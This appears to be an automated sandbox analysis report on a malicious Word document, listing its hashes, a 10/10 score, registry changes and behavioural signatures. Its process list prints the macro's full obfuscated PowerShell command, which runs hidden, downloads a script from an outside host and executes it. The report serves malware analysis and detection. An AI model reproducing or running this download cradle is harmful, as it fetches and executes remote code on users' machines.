Analysis
- max time kernel
149s - max time network
37s - platform
windows7_x64 - resource
win7v20210410 - submitted
25/04/2021, 09:57
Static task
static1
Behavioral task
behavioral1
Sample
4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc
Resource
win7v20210410
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc
Resource
win10v20210410
0 signatures
0 seconds
General
- Target 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc
- Size 230KB
- Sample210425-ctbs283df2
- SHA256 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e
- MD5 199674e87f437bdbd68884b155346d25
- SHA1 e8ff4264da0e3b774dee6575ad7b57fcb883b471
- SHA512 809bcb2af1d2dccf11060ec617537959354ea1ddde677d100baf8e47d50eb85504125fb01ac2103ce907e8be527a46175335b268028504e9b79e2c5b62305527
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1984 536 powershell.exe 17 - Blocklisted process makes network request 1 IoCs
flow pid Process 6 1984 powershell.exe - Office loads VBA resources, possible macro or embedded object present
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description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 536 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1984 powershell.exe 1984 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1984 powershell.exe - Suspicious use of SetWindowsHookEx 21 IoCs
pid Process 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE 536 WINWORD.EXE - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 536 wrote to memory of 1984 536 WINWORD.EXE 26 PID 536 wrote to memory of 1984 536 WINWORD.EXE 26 PID 536 wrote to memory of 1984 536 WINWORD.EXE 26 PID 536 wrote to memory of 1984 536 WINWORD.EXE 26 PID 536 wrote to memory of 2000 536 WINWORD.EXE 28 PID 536 wrote to memory of 2000 536 WINWORD.EXE 28 PID 536 wrote to memory of 2000 536 WINWORD.EXE 28 PID 536 wrote to memory of 2000 536 WINWORD.EXE 28
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc"1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).Do('http://pootball.medianewsonline.com/ro/ki.txt')};$b=$a.insert(29,'wnloadString');$c=iex $b;iex $c}2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1984
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2000
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